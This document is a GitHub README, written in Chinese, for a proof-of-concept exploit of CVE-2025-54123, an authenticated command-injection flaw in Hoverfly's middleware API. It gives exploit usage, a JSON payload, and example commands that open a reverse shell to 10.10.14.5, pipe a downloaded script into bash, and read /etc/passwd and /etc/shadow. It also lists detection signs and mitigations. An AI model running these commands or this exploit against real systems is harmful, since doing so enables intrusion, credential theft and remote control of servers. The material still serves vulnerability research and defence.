kasem545/CVE-2025-54123-Poc
GitHub: kasem545/CVE-2025-54123-Poc
针对 Hoverfly 1.11.3 及以下版本认证中间件命令注入漏洞(CVSS 9.8)的 PoC 利用脚本。
Stars: 1 | Forks: 0
# CVE-2025-54123 漏洞利用
Hoverfly 认证中间件命令注入 RCE | CVSS 9.8 严重
## 漏洞描述
Hoverfly <= 1.11.3 版本存在通过 `/api/v2/hoverfly/middleware` 端点进行的认证命令注入漏洞。该漏洞需要管理员凭据,但一旦认证通过,中间件功能会在未经验证的情况下接受用户提供的二进制和脚本值,从而允许执行任意命令。
## 漏洞链
1. **输入验证不足** - `middleware.go` 接受任意二进制路径
2. **不安全的命令执行** - `local_middleware.go` 直接将用户输入传递给 `exec.Command()`
3. **立即执行** - `hoverfly_service.go` 在验证期间执行中间件
## 要求
- 有效的 Hoverfly 管理员凭据(用户名/密码)
- 访问 Hoverfly Admin API(默认端口 8888)
## 用法
```
python3 exploit.py -t -u -p -c [--shell SHELL]
```
- `-t, --target` - Hoverfly API 端点(必填)
- `-u, --username` - 管理员用户名(必填)
- `-p, --password` - 管理员密码(必填)
- `-c, --command` - 要执行的命令(必填)
- `--shell` - 要使用的 Shell 二进制文件(默认:/bin/bash)
## 示例
```
# 基本命令执行
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# 读取敏感文件
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# 多命令执行
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# 使用不同 shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# 下载并执行 payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
```
## 攻击流程
1. 攻击者使用有效的管理员凭据进行认证
2. 向 `/api/v2/hoverfly/middleware` 发送包含恶意载荷的 PUT 请求
3. Hoverfly 将脚本写入临时文件 `/tmp/hoverfly_`
4. 在验证期间,执行:` /tmp/hoverfly_`
5. 命令输出在错误响应的 STDOUT 部分返回
6. 漏洞利用程序提取并显示输出
## 载荷结构
```
{
"binary": "/bin/bash",
"script": "whoami"
}
```
HTTP 标头包括:
```
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
```
## 影响
- **完全远程代码执行**,拥有 Hoverfly 进程权限
- **凭据窃取** - 窃取 API 密钥、令牌、机密信息
- **内网横向移动** - 入侵相邻系统
- **数据泄露** - 访问模拟数据、配置信息
- **持久化** - 安装后门,维持访问权限
- **服务中断** - 修改/删除中间件配置
## 易受攻击代码位置
- `core/middleware/middleware.go:94-96` - 对 binary 参数无输入验证
- `core/middleware/local_middleware.go:14-19` - 不安全的 exec.Command() 使用
- `core/hoverfly_service.go:173` - 验证期间立即执行
## 受影响版本
- Hoverfly <= 1.11.3
- 所有 Admin API 可访问且启用了认证的安装实例
## 检测
查找以下迹象:
- 指向 `/api/v2/hoverfly/middleware` 的 PUT 请求
- 包含 "STDOUT:" 及命令输出的错误响应
- `/tmp/hoverfly/` 中的临时文件
- 来自 hoverfly 服务的异常进程执行
## 缓解措施
- 升级到已修补的版本(如有)
- 仅限受信任的 IP 访问 Admin API
- 使用高强度的认证凭据
- 监控 `/api/v2/hoverfly/middleware` 端点访问
- 对 binary/script 参数实施输入验证
## 参考文献
- CVE-2025-54123
- CWE-78 (OS 命令注入)
- CWE-20 (输入验证不恰当)
- GHSA-r4h8-hfp2-ggmf
- https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
- https://nvd.nist.gov/vuln/detail/CVE-2025-54123
## 致谢
原始发现者:[@Kr1shna4garwal](https://github.com/Kr1shna4garwal)
标签:API安全, CISA项目, CVE-2025-54123, CVSS 9.8, Go语言安全, Hoverfly, Hoverfly漏洞, JSON输出, PE 加载器, Python POC, RCE, Reverse Shell, SDLC, 不安全反序列化, 中间件模拟, 中间件漏洞, 反弹Shell, 命令注入, 服务端请求伪造, 编程工具, 网络服务攻击, 认证后漏洞, 输入验证缺失, 远程代码执行